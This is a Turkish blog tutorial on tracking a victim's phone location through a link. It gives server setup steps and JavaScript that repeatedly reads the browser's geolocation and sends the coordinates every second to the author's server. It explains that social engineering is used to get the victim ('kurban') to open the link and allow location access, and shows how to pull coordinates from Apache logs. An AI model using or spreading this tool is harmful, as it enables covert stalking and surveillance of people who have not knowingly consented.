Url İle Akıllı TLF Konum Belirleme

Bir Adet Sunucu ( Linux ) VPS olabilir veya dışarıya açtığınız wamp vs kurulmuş bir pc de olabilir ( Geo Api’nin çalışması için SSL gerekli o yüzden VPS daha iyi olur. )

Bir Adet Alan Adı. (Alan adını sunucumuza yönlendireceğiz.)

*A kaydını VPS’nin IPsine yönlendirmemiz yeterli.

+ İşlemler +

İlk olarak sunucu tarafında ayarlamalar yapmamız gerekiyor. Bu yüzden VPS’mize bağlanıyoruz.

apt-get install apache2 komutu ile kurulu değilse Apache’yi kuruyoruz.

Kurulumu tamamladıktan ve servisleri başlattıktan sonra “/var/www/html/” yoluna gidip index.html dosyamızı oluşturuyoruz.
index.html dosyamızı bir metin editörü ile açıp içerisine aşağıdaki kodları yapıştırıyoruz.

<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js"></script>
<script type='text/javascript'>
function httpGet(theUrl)
{
var xmlHttp = new XMLHttpRequest();
xmlHttp.open( "GET", theUrl, false );
xmlHttp.send( null );
return xmlHttp.responseText;
}

function autoUpdate() {
navigator.geolocation.getCurrentPosition(function(position) {
coords = position.coords.latitude + "," + position.coords.longitude;
url = "http://siteniz.com/kayit/" + coords;
httpGet(url);
console.log('trrek');
setTimeout(autoUpdate, 1000);
})
};
$(document).ready(function(){
autoUpdate();
});

</script>

Burada değiştirmeniz gereken kısım ise “siteniz.com/kayit” bölümüdür. Buraya VPS’nize yönlendirdiğiniz siteyi yazmanız gerekmektedir.

Google’ın GeoLocation API’sini kullanabilmeniz için sitenizde SSL olması gerekmektedir. Ücretsiz olarak LetsEncrypt sertifikalarını kullanabilirsiniz.

Bunun için https://certbot.eff.org İşletim sisteminize uygun versiyonu indirin ve kurun.

Ardından “letsencrypt –apache” komutu ile sertifika kurulum sihirbazını çalıştırın.

Kurulum bittikten sonra sistemimiz konumu yakalamak için hazır durumda.

Bu yöntemi kurbana yedirmek için SM yapılması şart. Sistem şu şekilde çalışıyor;

Kurbana link gönderilir. Kurban siteye girer ve ” Bu site konumunuzu kullanmak istiyor vb vb…. ” tarzında bir uyarı alır. Evet dediği andan itibaren Aşağıdaki gibi loglar gelmeye başlar ve bu logların içinde koordinat bilgisi yer alır.

Loglar /var/log/apache2/access.log adresine kaydolur.

Anlık olarak görüntülemek isterseniz ;

tail -f /var/log/apache2/access.log komutunu kullanabilirsiniz.

 

Lokalimde test ettiğimde gelen log :

10.101.0.25 – – [07/Mar/2017:13:38:30 +0200] “GET /kayit/41.0422319,28.653315 HTTP/1.1” 404 1173
“http://localhost/” “Mozilla/5.0 (Linux Android 7.1.1) AppleWebKit/537.36 (K
HTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36”

Görüldüğü üzere koordinat bilgisi logların içerisinde. Test ettiğimde sapma payının oldukça az olduğunu söyleyebilirim.

admin Yazar

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir